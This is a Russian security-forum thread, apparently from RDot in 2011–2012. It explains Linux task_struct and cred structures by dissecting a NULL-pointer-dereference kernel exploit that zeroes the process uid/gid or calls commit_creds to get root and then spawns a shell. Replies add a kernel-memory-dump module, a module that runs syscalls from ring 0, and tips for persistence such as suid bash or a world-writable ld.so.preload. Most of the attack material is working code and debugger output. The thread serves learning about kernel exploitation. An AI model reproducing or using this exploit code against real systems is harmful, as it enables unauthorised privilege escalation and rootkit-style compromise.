RDot

RDot (https://rdot.org/forum/index.php)
-   Статьи/Articles (https://rdot.org/forum/forumdisplay.php?f=10)
-   -   Заметка про task_struct в ядре Linux. (https://rdot.org/forum/showthread.php?t=1451)

SynQ 04.05.2011 17:45

Заметка про task_struct в ядре Linux.
 
Вложений: 1
В посте оформлены кусочки инфы по структуре task_struct в ядре Linux. Ничего нового или эксклюзивного, но вероятно будет интересно тем, кто хочет разобраться в kernel части ядерных эксплойтов, не читая 1100 страниц Understanding the Linux Kernel.

Из-за внедрения в линуксе разнообразных защит ныне редко удается встретить эксплойт под такие стандартные для конца 90х - начала 2000х баги как переполнение буфера в демонах. Поэтому большой процент современных локальных эксплойтов эксплуатируют баги самого ядра линукс (их немало, вероятно, из-за большого объема кода и активной разработки).

Стандартным принципом работы ядрёных эксплойтов является инициирование выполнения кода в режиме ядра (kernel mode) по нашему указателю. Наиболее распространенным примером является тип уязвимостей NULL pointer dereference (разыменование указателя на NULL), который хорошо описан в блоге компании Ksplice [http://blog.ksplice.com/2010/04/exploiting-kernel-null-dereferences/], автор Nelson Elhage.

Пояснение работы эксплойтов приводится на основе кода, эксплуатирующего NULL pointer dereference, которая создается модулем ядра nullderef.ko из статьи с блога Ksplice (см. выше).


Поехали

Архив внизу поста содержит сам модуль ядра, а также эксплойт newrootme.c для него. Функциональность модуля состоит в выполнении кода в режиме ядра по указателю, лежащему по адресу NULL, если мы запишем что-либо в файл /sys/kernel/debug/nullderef/null_call

Код:

struct my_ops {
        ssize_t (*do_it)(void);
};

/* Define a pointer to our ops struct, "accidentally" initialized to NULL. */
static struct my_ops *ops = NULL;


/*
 * Writing to the 'null_read' file calls the do_it member of ops,
 * which results in reading a function pointer from NULL and then
 * calling it.
 */
static ssize_t null_call_write(struct file *f, const char __user *buf,
                size_t count, loff_t *off)
{
        return ops->do_it();
}

Установка модуля: make, а затем sudo ./install.sh
install.sh сделан для удобства, он содержит команды:

mount debugfs -t debugfs /sys/kernel/debug/ (необходимо для работы модуля),
insmod nullderef.ko (установка модуля),
echo 0 > /proc/sys/vm/mmap_min_addr (разрешение делать mmap по адресу NULL, это необходимо для работы эксплойта)
Offtop: начиная с ядра 2.6.23 для затруднения эксплуатация NULL pointer dereference минимальный адрес по умолчанию 4096 или выше.
Если используется SELinux, то потребуется его отключить.

Начнем разбор newrootme.c (код на pastebin: http://pastebin.com/dMdgQVE3)

Функция main():

Код:

  uid = getuid(); gid = getgid();
узнаем текущие uid и gid, которые затем будем искать в памяти и менять на рутовые 0.

Код:

  uname(&us);
узнаем версию ядра для правильной работы с ядрами >=2.6.29 (заметно поменялся формат task_struct, о чем ниже).

Код:

  prepare_kernel_cred = get_ksym("prepare_kernel_cred");
  commit_creds        = get_ksym("commit_creds");
  a_printk            = (unsigned long)get_ksym("printk");

С помощью функции get_ksym достаем соответствующие экспортируемые символы из /proc/kallsyms (они понадобятся в режиме ядра, так printk - это аналог printf).

Код:

  mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, -1, 0);
  void (**fn)(void) = NULL;
  *fn = get_root;

mmap'им страницу памяти (4kb) по адресу NULL, а затем кладем туда адрес функции get_root. По этому адресу и пойдет выполнение кода в режиме ядра после эксплуатации NULL pointer dereference в модуле ядра, который мы установили.
Это легко проверить в дебаггере (компилируем: gcc newrootme.c -o newrootme -ggdb): gdb ./newrootme
Цитата:

gdb$ b newrootme.c:131
Breakpoint 1 at 0x8048dd1: file newrootme.c, line 127.
gdb$ r
pid=2943
Breakpoint 1, main () at newrootme.c:127
131 void (**fn)(void) = NULL;
gdb$ step
132 *fn = get_root;
gdb$ x/4x 0x0
0x0: 0x00000000 0x00000000 0x00000000 0x00000000
gdb$ step
135 int fd = open("/sys/kernel/debug/nullderef/null_call", O_WRONLY);
gdb$ x/4x 0x0
0x0: 0x08048914 0x00000000 0x00000000 0x00000000
gdb$ print get_root
$1 = {void (void)} 0x8048914 <get_root>
Как видно после выполнения *fn = get_root; по адресу NULL наблюдается адрес функции get_root().

Код:

  int fd = open("/sys/kernel/debug/nullderef/null_call", O_WRONLY);
  write(fd, "1", 1);

после записи единицы в /sys/kernel/debug/nullderef/null_call, модуль ядра начнет выполнять нашу функцию get_root() в режиме ядра.

Код:

  printf("UID %d, EUID:%d GID:%d, EGID:%d\n", getuid(), geteuid(), getgid(), getegid());

  if (getuid() == 0)
      system("/bin/sh");

здесь у нас уже должны быть привилегии рута, поэтому выводятся id'ы и если uid=0, то запускаем шелл.


Функция get_root():

Теперь функция get_root(), в которой и происходит всё действо.
В этой функции мы уже находимся в режиме ядра, поэтому надо быть осторожным и не сделать ядру oops :)

Код:

        void (*printk)(const char*fmt, ...) =  (void *) a_printk;
        printk("We're in kernel, w00t-w00t!\n");

воссоздаем ядерную функцию printk() по адресу, который мы получили из /proc/kallsyms в main(), и пишем тестовое сообщение, которое будет видно в /var/log/messages.

Код:

        int i;
        unsigned *p = *(unsigned**)(((unsigned long)&i) & ~8191);

создаем переменную i в стеке ядра.
Немного теории: стек ядра делит 4кб/8кб (в зависимости от дистрибутива, чаще - 8кб) размер со структурой thread_info как видно в include/linux/sched.h:

Код:

union thread_union {
    struct thread_info thread_info;
    unsigned long stack[THREAD_SIZE/sizeof(long)];
};

Т.е. thread_info находится раньше в памяти, чем стек ядра.
Поэтому мы обнуляем младшие 13 бит адреса i (находим начало двухстраничного (8 кб) thread_union) и получаем адрес структуры thread_info.

NB: Там где thread_union занимает 4 кб (встречается очень редко) вместо 8191=0x2000-1 нужно указать 4095=0x1000-1.

NB2: обнуление 13 бит для нахождения адреса thread_info не какой-то хитрый хак, а фича линукса для быстрого нахождения адреса thread_info. Так в ядре есть следующее макро, которое делает то же самое, что и код выше:
Код:

#define current    get_current()

static inline struct task_struct *get_current(void)
{
            register unsigned long sp asm ("sp");
            return (struct task_struct *)(sp & ~0x1fff);
}

Т.е. берется значение указателя стека и также обнуляются младшие 13 бит (0x1fff = 0x2000-1 = 8191)

В эксплойтах также используется вставка на асме для нахождения адреса thread_info:

Код:

    # get current task_struct...
    movl $0xffffe000, %eax
    andl %esp, %eax


Едем дальше.

Код:

        printk("i addr: 0x%lx\n", (unsigned long)&i);
        printk("thread_info addr: 0x%lx\n", (unsigned**)(((unsigned long)&i) & ~8191) );
        printk("p (task_struct) addr: 0x%lx\n", p);

Выводим в /var/log/messages адреса i, thread_info и адрес той самой task_struct из заглавия поста, который (адрес) находится в самом начале thread_info, что видно в arch/x86/include/asm/thread_info.h:

Код:

struct thread_info {
    struct task_struct  *task;
    struct exec_domain  *exec_domain;
    __u32                flags;
    __u32                status;
    __u32                cpu;
    int                  preempt_count;
    mm_segment_t        addr_limit;
    struct restart_block restart_block;
    void __user        *sysenter_return;
#ifdef CONFIG_X86_32
    unsigned long        previous_esp;
    __u8                supervisor_stack[0];
#endif
    int                  uaccess_err;
};

Самое время ответить, зачем она нам нужна. Смотрим ее определение в include/linux/sched.h:

Код:

struct task_struct {
        volatile long state;        /* -1 unrunnable, 0 runnable, >0 stopped */
        void *stack;
        atomic_t usage;
        unsigned int flags;        /* per process flags, defined below */
        ...
/* process credentials */
        uid_t uid,euid,suid,fsuid;
        gid_t gid,egid,sgid,fsgid;

        struct group_info *group_info;
        kernel_cap_t  cap_effective, cap_inheritable, cap_permitted, cap_bset;
        ...

Здесь-то и хранятся id'ы, с которыми запущено наше приложение (или эксплойт). Их необходимо исправить на ноль, чтобы стать рутом. Приведенная структура task_struct действительна для ядер <2.6.29


<2.6.29

Код:

if(!new_style) // kernel<2.6.29
  {
    printk("kernel<2.6.29!\n");
    for (i = 0; i < 1024-13; i++) {
        if (p[0] == uid && p[1] == uid && p[2] == uid && p[3] == uid &&
            p[4] == gid && p[5] == gid && p[6] == gid && p[7] == gid)
          {
            printk("brute: found p[0]==uid: 0x%lx\n", p);
            printk("brute: found p[1]==euid: 0x%lx\n", &p[1]);
            printk("brute: $i in cycle: 0x%d\n", i);
            p[0] = p[1] = p[2] = p[3] = 0;
            p[4] = p[5] = p[6] = p[7] = 0;
            p = (unsigned *) ((char *)(p + 8) + sizeof(void *));
            p[0] = p[1] = p[2] = ~0;
            break;
          }
        p++;
    }
  }

в переменной p лежит найденный адрес task_struct, сама task_struct имеет размер в несколько килобайт (например, ubuntu 10.04 - 3264 байт). Поэтому мы проходим память task_struct и ищем регион, в котором 4 последовательные ячейки памяти имеют значение нашего uid (uid_t uid,euid,suid,fsuid) и 4 следующие за ними ячейки имеют значение нашего gid (gid_t gid,egid,sgid,fsgid). Как находим этот регион, пишем туда нули. Всё, *id=0 :)
В /var/log/messages выводится адрес uid и euid для любопытных.

Код:

            p = (unsigned *) ((char *)(p + 8) + sizeof(void *));
            p[0] = p[1] = p[2] = ~0;

Этот строчки зачастую необязательны, они ставят полные capabilities (kernel_cap_t cap_effective, cap_inheritable, cap_permitted).


>=2.6.29

Теперь рассмотрим код для ядер >=2.6.29. В этих ядрах id'ы хранятся не в самой task_struct, а в отдельной структуре cred, указатель на которую хранится в task_struct:

Код:

struct task_struct {
[...]
/* process credentials */
        const struct cred *real_cred;  /* objective and real subjective task
                                        * credentials (COW) */
        const struct cred *cred;        /* effective (overridable) subjective task
                                        * credentials (COW) */
[...]

А вот так выглядит структура cred:

Код:

struct cred {
        atomic_t        usage;
        uid_t          uid;            /* real UID of the task */
        gid_t          gid;            /* real GID of the task */
        uid_t          suid;          /* saved UID of the task */
        gid_t          sgid;          /* saved GID of the task */
        uid_t          euid;          /* effective UID of the task */
        gid_t          egid;          /* effective GID of the task */
        uid_t          fsuid;          /* UID for VFS ops */
        gid_t          fsgid;          /* GID for VFS ops */

        unsigned        securebits;    /* SUID-less security management */
        kernel_cap_t    cap_inheritable; /* caps our children can inherit */
        kernel_cap_t    cap_permitted;  /* caps we're permitted */
        kernel_cap_t    cap_effective;  /* caps we can actually use */
        kernel_cap_t    cap_bset;      /* capability bounding set */
#ifdef CONFIG_KEYS
        unsigned char  jit_keyring;    /* default keyring to attach requested
                                        * keys to */
        struct key      *thread_keyring; /* keyring private to this thread */
        struct key      *request_key_auth; /* assumed request_key authority */
        struct thread_group_cred *tgcred; /* thread-group shared credentials */
#endif
#ifdef CONFIG_SECURITY
        void            *security;      /* subjective LSM security */
#endif
        struct user_struct *user;      /* real user ID subscription */
        struct group_info *group_info;  /* supplementary groups for euid/fsgid */
        struct rcu_head rcu;            /* RCU deletion hook */
};

Схема такая: проходим адресное пространство task_struct, выискивая 2 подряд идущих одинаковых указателя (*real_cred и *cred) на адрес в ядре (на x86 это >=0xc0000000). Как нашли, прыгаем туда, пропускаем первое поле (atomic_t usage) и смотрим лежат ли следующими uid, gid, suid, sgid, euid, egid, fsuid, fsgid. Если это они, то обнуляем их. Voila!

Вот так это выглядит в коде:
Код:

else // kernel>=2.6.29
  {
    printk("kernel>=2.6.29!\n");
    unsigned long *cred;
    for (i = 0; i < 1024; i++)
    {
        cred = (unsigned long *)p[i];
        if (cred == (unsigned long *)p[i+1] && cred >(unsigned long *)0xc0000000) {
            cred++; /* Get rid of the cred's 'usage' field */
            if (cred[0] == uid && cred[1] == gid &&
                cred[2] == uid && cred[3] == gid &&
                cred[4] == uid && cred[5] == gid &&
                cred[6] == uid && cred[7] == gid)
                {
                    /* Get root */
                    printk("cred addr: 0x%lx\n", cred);
                    cred[0] = cred[2] = cred[4] = cred[6] = 0;
                    cred[1] = cred[3] = cred[5] = cred[7] = 0;
                    break;
                }
        }
    }
  }

cred = (unsigned long *)p[i]; - проходим task_struct
и ищем 2 одинаковых указателя на память в адресном пространстве ядра - if (cred == (unsigned long *)p[i+1] && cred >(unsigned long *)0xc0000000) {
cred++; - пропускаем первое поле (atomic_t usage)
А дальше проверяем id'ы и обнуляем, если это то, что искали.
В /var/log/messages будет:
Цитата:

May 4 03:10:54 ubuntu kernel: [ 4942.470069] We're in kernel, w00t-w00t!
May 4 03:10:54 ubuntu kernel: [ 4942.470072] i addr: 0xd670ff4c
May 4 03:10:54 ubuntu kernel: [ 4942.470073] thread_info addr: 0xd670e000
May 4 03:10:54 ubuntu kernel: [ 4942.470074] p (task_struct) addr: 0xd0f6cc80
May 4 03:10:54 ubuntu kernel: [ 4942.470075] kernel>=2.6.29!
May 4 03:10:54 ubuntu kernel: [ 4942.470078] cred addr: 0xc668c084

commit creds on >=2.6.29

Если код прохода памяти для ядер <2.6.29 будет работать и на х86, и на х64, то код для >=2.6.29 на х64 не заработает, хотя бы из-за 0xc0000000 (на х64 PAGE_OFFSET=0xffff810000000000), возможно всплывут и другие проблемы (не тестировал).

Вообще на современных ядрах (>=2.6.29) с вводом структуры cred поменялись и рекомендации по апдейту id'ов. Теперь можно использовать функции struct cred *prepare_kernel_cred(), которая подготавливает новую структуру cred с нужными id, и commit_creds(), которая применяет новую структуру к текущему процессу.
Часть кода commit_creds() из kernel/cred.c:
Код:

        rcu_assign_pointer(task->real_cred, new);
        rcu_assign_pointer(task->cred, new);

Видно, что она меняет указатели *cred и *real_cred в task_struct на новую структуру, подготовленную prepare_kernel_cred()).

Для проверки работы этого способа раскомментируйте строчку //#define USECOMMITCREDS 1 в начале newrootme.c и перекомпилируйте его. Если ядро >=2.6.29 и символы prepare_kernel_cred, commit_creds экспортируются, то данный код из get_root() даст рута:
Код:

#else
  if(new_style)     
        commit_creds(prepare_kernel_cred(0));
#endif

Следует заметить, что метод прохода памяти по-прежнему придется использовать, если нет возможности узнать адреса prepare_kernel_cred или commit_creds.


Last call for alcohol

Код тестировался на:
Ubuntu 10.04 x86 (Linux ubuntu 2.6.32-24-generic #39-Ubuntu SMP Wed Jul 28 06:07:29 UTC 2010 i686 GNU/Linux)
Ubuntu 8.04 x64 (Linux ubuntu 2.6.24-26-generic #1 SMP Tue Dec 1 17:55:03 UTC 2009 x86_64 GNU/Linux)

Почитать:
Understanding the structure task_struct: http://www.spinics.net/lists/newbies/msg11186.html
Процессы в Linux: http://www.opennet.ru/base/dev/procc...linux.txt.html, http://www.mjmwired.net/kernel/Docum...redentials.txt
Статью twiz & sgrakkyu в 64-ом Phrack (и их же книгу A Guide to Kernel Exploitation прошлого года).


SynQ, rdot.org
5/2011

Pashkela 04.05.2011 18:03

Всё прелестно, но, как ми пониманю, printk юзается только в исследовательских целях - для чтения логов, иначе ненужное палево

SynQ 04.05.2011 18:09

Да, printk здесь, чтобы понимать, что происходит. Весь код здесь для исследования и понимания потрохов.

DrakonHaSh 17.05.2011 11:17

а в чем практическая ценность этого task_struct ?
т.е. наш код уже сумел попасть в ядро, зачем заниматься поиском именно task_struct ? чтобы изменить uid/gid уже существующего процесса ? или task_struct используется в руткитах для стелса процессов/соединений и т.д. ?

я это к тому, что наверное есть более универсальные и простые методы извлечения выгоды из того, что мы сумели запустить наш код в режиме ядра - например запуск нового процесса с правами рута.

SynQ 17.05.2011 11:27

Цитата:

Сообщение от DrakonHaSh (Сообщение 16834)
чтобы изменить uid/gid уже существующего процесса ?

Да.
Цитата:

task_struct используется в руткитах для стелса процессов
И это тоже.

SynQ 01.07.2011 16:53

Оставлю здесь, может кому-нибудь пригодится однажды.

kleak LKM для просмотра или дампа памяти ядра. Вроде аналога когда-то существовавшего /dev/kmem.

Использование:
Цитата:

$ echo 0xc1234567 > /proc/kleak; cat /proc/kleak | ndisasm -u -
$ echo "0xc1234567 1600" > /proc/kleak; cat /proc/kleak | hexdump -C // если нужен больший размер
Однажды выставленный размер сохраняется.

На x64 тоже должно работать.


Код:

/*
 * kleak LKM for kernel memory dump
 *
 * Author: SynQ, rdot.org
 * 7/2011
 *
 * I know the code is ugly, don't blame me.
 * Usage: echo 0xc1234567 > /proc/kleak; cat /proc/kleak | ndisasm -u -
 */
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/proc_fs.h>
#include <asm/uaccess.h>
#include <linux/string.h>

#define MAX_SIZE      PAGE_SIZE

static char input_buffer[25];

unsigned long size;
unsigned long *addr;

static int kleak_proc_write( struct file *filp, const char __user *buff,
    unsigned long len, void *data )
{
    if (len > sizeof(input_buffer) - 1) {
        printk(KERN_ERR "kleak: Input too long! (%lu)\n", len);
        return -ENOSPC;
    }

    memset(input_buffer,'\0',sizeof(input_buffer));

    if(copy_from_user(input_buffer, buff, len))
            return -EFAULT;

    input_buffer[len]='\0';// ? no need bc of memset
    char *space = strchr(input_buffer,' ');
    char **end;

    if(space==NULL) {
            addr=simple_strtoul(input_buffer, end, 16);
            printk("kleak: no size, addr: 0x%p\n",addr);
    }
    else {
            addr=simple_strtoul(input_buffer, end, 16);
            size=simple_strtoul(space+1, end, 10);
            printk("kleak: got size, addr: 0x%p, size: %d\n",addr, (int)size);
    }

    return len;
}

static int kleak_proc_read(char *page, char **start, off_t off,
    int count, int *eof, void *data)
{
    if (off > 0) {
        *eof = 1;
        return 0;
    }
#if defined(__i386__)
    if(addr >=0xc0000000 && addr <=0xffffffff && size < MAX_SIZE)
#elif defined(__x86_64__)
    if(addr >=0xffffffff80000000 && addr <=0xffffffffffffffff && size < MAX_SIZE)
#endif
            memcpy(page, addr, size);
    else return -EFAULT;

    return size;
}


static int __init init_kleak(void)
{
    struct proc_dir_entry *kleak_entry = create_proc_entry("kleak", 0666, NULL);// 600? nigga, plz

    if (kleak_entry == NULL) {
      printk(KERN_ERR "kleak: Couldn't create proc entry\n");
      return -ENOMEM;
    }

    kleak_entry->write_proc = kleak_proc_write;
    kleak_entry->read_proc = kleak_proc_read;
    printk(KERN_INFO "kleak: Module loaded successfully\n");

    addr=NULL;
    size=100;

    return 0;
}

static void cleanup_kleak(void)
{
        remove_proc_entry("kleak", NULL);
        printk(KERN_INFO "kleak: Module unloaded.\n");
}

MODULE_LICENSE("GPL");
MODULE_AUTHOR("SynQ");
MODULE_DESCRIPTION("kernel memory viewer via /proc");

module_init(init_kleak);
module_exit(cleanup_kleak);

Makefile:
Код:

obj-m = kleak.o

M=$(shell pwd)

all:
        make -C /lib/modules/$(shell uname -r)/build/ M=$(M) modules

Также fmem - аналог /dev/mem (дамп физической памяти).

Specialist 19.06.2012 23:50

Цитата:

для затруднения эксплуатация NULL pointer dereference минимальный адрес по умолчанию 4096 или выше
- оно как бы не затрудняет, а вообще ликвидирует данный вид атак. Этот NULL ptr dereference на новых ядрах многие пытаются безуспешно обойти.

SynQ, респект за статью (узнал кое-что новое) и за kleak , но есть такая простая штука, как
gdb vmlinuz-3.3.0 /proc/kcore. Это дамп памяти ядра в реальном времени, который можно только читать.
А если ядро собрано с дебагом, можно очень даже легко изучать структуры/ф-ции по названиям без ковыряния в System.map.
Если честно, я сам много велосипедов писал для той же работы с шеллкодами, потом оказалось, что почти всё можно сделать стандартными средствами :)

А ещё, только щас подумал, не проще ли добавить строчку в /etc/passwd через filp_open, вместо того чтобы искать task_struct.
Ещё по идее можно на баш повесить суид бит. Сделать это можно, вызвав syscall (OMG) из кернел спейса. Пример (не проверял):
http://stackoverflow.com/questions/1348358/changing-file-permissions-in-kernel. Как будет время обязательно сделаю тест.

p.s. А task_struct кстати реально классная штука, с помощью неё например можно узнать адреса и даже в текущий терминал писать, очень удобно для отладки модулей и работы с руткитами.

SynQ 20.06.2012 11:07

Specialist
Согласен почти со всем.
Единственное, трогать /etc/passwd, по-моему, неэлегантно :) и насколько знаю, не все сисколлы из ядра работают, желательно проверять.
А вот идея выставлять суид бит - отличная. think outside of the box :)
Кстати, если о файлах, - можно также /etc/ld.so.preload создать с mask 666.

Specialist 21.06.2012 20:55

Как и обещал, раскрутил тему. Написал небольшой модуль ядра, вызывающий write на консоль из кернелспейса. Итак, немного черношляпной вуду-магии :)
Код:

/*

    Simple kernel module by the Specialist
    Run syscall from the kernel space

*/

#include <linux/module.h>
#include <linux/uaccess.h>
#include <asm/unistd.h>

static int __init init(void)
 {
        char *str = " ! blackhat v00d00 ;-]\n";
        mm_segment_t fs = get_fs();

          // fs must point to the data segment of the calling process
        set_fs(get_ds());
       
        // call write
        asm volatile ("int $0x80":
                    :"a"(__NR_write), "b"(1), "c"(str),
                      "d"(strlen(str)));

        // restore fs
        set_fs(fs);
        return -1;
 }

module_init(init);

А теперь небольшое пояснение. Для нормального выполнения в юзерспейсе, FS должен указывать
на сегмент данных текущего процесса. Что в коде собственно и делается. В реальном эксплойте вместо макросов можно использовать asm-вставки.

upd. Даже не подумал, что проверок uid в сисколлах никто не отменял. Скорее всего прийдётся вызывать нижележащие функции.

Specialist 10.07.2012 22:31

Вложений: 1
Нашёл способ запустить бинарник из ring0 в качестве хелпера keventd.
Накодил небольшой пример, запускающий Sh. Просто распакуйте и напишите make.

http://rghost.ru/download/39141720/3...0c8/run.tar.gz

Проверено на ядре 3.2


Часовой пояс GMT +3, время: 15:47.

Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2018, Jelsoft Enterprises Ltd. Перевод: zCarot